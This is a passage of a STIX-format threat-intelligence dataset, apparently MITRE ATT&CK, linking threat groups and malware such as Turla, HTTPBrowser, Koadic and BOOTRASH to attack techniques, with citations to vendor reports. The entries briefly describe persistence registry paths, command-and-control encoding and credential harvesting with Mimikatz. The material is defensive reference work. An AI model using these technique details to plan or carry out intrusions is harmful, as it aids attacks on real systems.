                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.812Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has established persistence by setting the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key value for <code>wdm</code> to the path of the executable. It has also used the Registry entry <code>HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d</code> to establish persistence.(Citation: ZScaler Hacking Team)(Citation: ThreatStream Evasion Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                },
                {
                    "source_name": "ThreatStream Evasion Analysis",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.646Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request. [NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.404Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "type": "relationship",
            "modified": "2021-04-25T15:37:07.993Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "(Citation: FireEye admin@338)",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.681Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--14702113-ddd7-4898-902a-aeb884b26266",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "source_name": "FireEye APT10 Sept 2018"
                }
            ],
            "description": "(Citation: FireEye APT10 Sept 2018)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.893Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T01:44:20.206Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18"
        },
        {
            "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.753Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e1b4887c-37ac-4470-88d5-ece2bfa6477e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses HTTP for C2 communications.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:34:37.980Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--39556624-1c45-4178-bfa4-7a20b254df7e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses HTTPS for command and control.(Citation: synack 2016 review)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:40:25.106Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:37:54.177Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.712Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can perform DLL injection.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T19:08:50.297Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The \"SCOUT\" variant of [NETEAGLE](https://attack.mitre.org/software/S0034) achieves persistence by adding itself to the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.449Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--63d53308-7d7d-4777-a1cc-c7100735609c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant M Trends 2016",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
                    "source_name": "FireEye Bootkits"
                },
                {
                    "source_name": "FireEye BOOTRASH SANS",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf",
                    "description": "Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020."
                }
            ],
            "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "type": "relationship",
            "modified": "2020-05-07T22:29:30.674Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--331e59e9-0d10-4c2d-ba92-e8eb0de1cc95",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:56:03.058Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5412525e-cba5-4fa1-89ff-7e6fa2b92e24",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) decodes embedded XOR strings.(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.875Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "type": "relationship",
            "modified": "2021-04-14T12:04:36.617Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--83a949a2-ed5d-4ae5-a45f-885e58a7d931",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) encodes C2 traffic with base64.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:10:23.278Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--555e47f2-54bb-4c97-8804-536aa354126c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can run DLLs.(Citation: FireEye Clandestine Fox)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.514Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from network shared drives with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.665Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8674de47-b051-4384-a6e0-aeed32b8c270",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can open an interactive command-shell to perform command line functions on victim machines.(Citation: Github Koadic) [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (Jscript) and runs arbitrary shellcode .(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                },
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:40:08.944Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) scripts save memory dump data into a specific directory on hosts in the victim environment.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:51:43.031Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.902Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.709Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--bc7382dc-b2d0-4bd3-9e7d-f49cf17e7fc1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants establish persistence by modifying the Registry key <code>HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Run:%appdata%\\NeutralApp\\NeutralApp.exe</code>.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.894Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
